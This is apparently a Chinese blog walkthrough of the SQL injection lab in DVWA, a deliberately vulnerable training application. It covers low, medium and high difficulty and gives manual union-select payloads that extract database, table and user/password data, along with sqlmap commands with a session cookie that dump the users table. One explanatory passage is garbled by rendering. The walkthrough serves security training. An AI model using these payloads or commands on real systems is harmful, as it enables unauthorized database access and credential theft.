### DVWA第七关-sql注入(sqlInjection)


SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一

简单难度(LOW)
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
           

源码分析得,注入点是id,并且是字符型注入,服务端接收id参数,没有做任何处理,并且有回显,和报错详情,可以使用联合查询和报错注入以及时间盲注来实现手工注入。

1、手工注入
在这里插入图片描述

输⼊到6以上时⽆回显,我们猜测id对应有5⾏数据

输⼊1’提交,我们来判断⼀下后台数据库查询语⾔的类型是数字型还是字符型
在这里插入图片描述

字符型注⼊的SQL语句形如
select * from xx where id=' i d ′ 变量被引号包起来了,引号内是⽂本整数型注⼊的 S Q L 语句形如 s e l e c t ∗ f r o m x x w h e r e i d = id' 变量被引号包起来了,引号内是⽂本 整数型注⼊的SQL语句形如 select * from xx where id= id变量被引号包起来了,引号内是本整数型注SQL语句形如selectfromxxwhereid=id
(1) 分别输⼊ 1 and 1=1 和 1 and 1=2,都能返回正常结果
在这里插入图片描述

说明不是整数型注⼊,因为如果是整数型注⼊,执⾏select * from xx where id=1 and 1=2 时应报错。

(2) 输⼊ 1’ or ‘1’='1 ,返回所有结果,这就是常说的万能密码
内部的查询语句为:
在这里插入图片描述

3、判断列数
输⼊是1’ order by 3#
后台执⾏的是
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ order by 3# ';
在这里插入图片描述

这⾥是来猜解前⾯的查询语句的字段为⼏个,如果对不上会报错
在这里插入图片描述

这⾥猜解到查询语句的字段数是两个
4、猜解数据库名
通过union执⾏两条sql语句,将数据库名给输出出来
1 ’ union select 1,database()#
在这里插入图片描述

数据库名:DVWA
5、获取数据库中的表名
1’ union select 1, group_concat(table_name) from information_schema.tables where
table_schema=database()#
在这里插入图片描述

6、获得字段中的数据
1’ union select user, password from users#
在这里插入图片描述

可以登录https://www.somd5.com/进⾏解密
在这里插入图片描述

⽤sqlmap 实现SQL注⼊
注意-u后⾯要加有注⼊点的链接,所以我们这⾥填⼊的是id=1的链接,并且后⾯要加cookie
查看cookie
在这里插入图片描述

1、构造sqlmap语句 (打开kali搜索工具sqlmap)
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo”
在这里插入图片描述

2、使⽤–batch 参数,可以让sqlmap为我们⾃动填写执⾏选项
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch
在这里插入图片描述

3、使⽤–dbs 获取所有的数据库
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” --dbs
在这里插入图片描述

4、使⽤-D指定数据库,–tables 查看数据中的表
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch --dbs -D dvwa --tables
在这里插入图片描述

5、⽤-D xxx -T xxx 指定表,–columns查看表的列
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch --dbs -D dvwa -T users --columns
在这里插入图片描述

6、⽤-C xxx --dump 输出指定列的数据
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch --dbs -D dvwa -T users -C user -dump
在这里插入图片描述

中级难度(medium)

在这里插入图片描述

我们发现没有输⼊框,中级加⼊了⼀些防御,不让⽤户输⼊,只提供选择(可以⽤burpsuit抓包来绕
过),需要把浏览器设置为代理
1、⼿⼯注⼊
我们抓⼀下包,把数据包发送到repeater⾥⾯,原理⼀样的,我们尝试之前的⼀些⼿⼯注⼊的payload
获得字段中的数据
在这里插入图片描述

在这里插入图片描述

Sqlmap 实现注⼊
1.⽤burpsuite 捕获正常的数据包,然后右键,选择 “copy to file”,保存为1.txt
2. python sqlmap.py -r 1.txt --batch --dbs
在这里插入图片描述

在这里插入图片描述

⾼级难度(high)

可以看出,点击“
here to change your ID”
,⻚⾯⾃动跳转,防御了⾃动化的SQL注⼊,分析源码可以看
到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕
过。
获取账号密码
1’ union select user,password from users#
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

蜡笔小鑫️

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值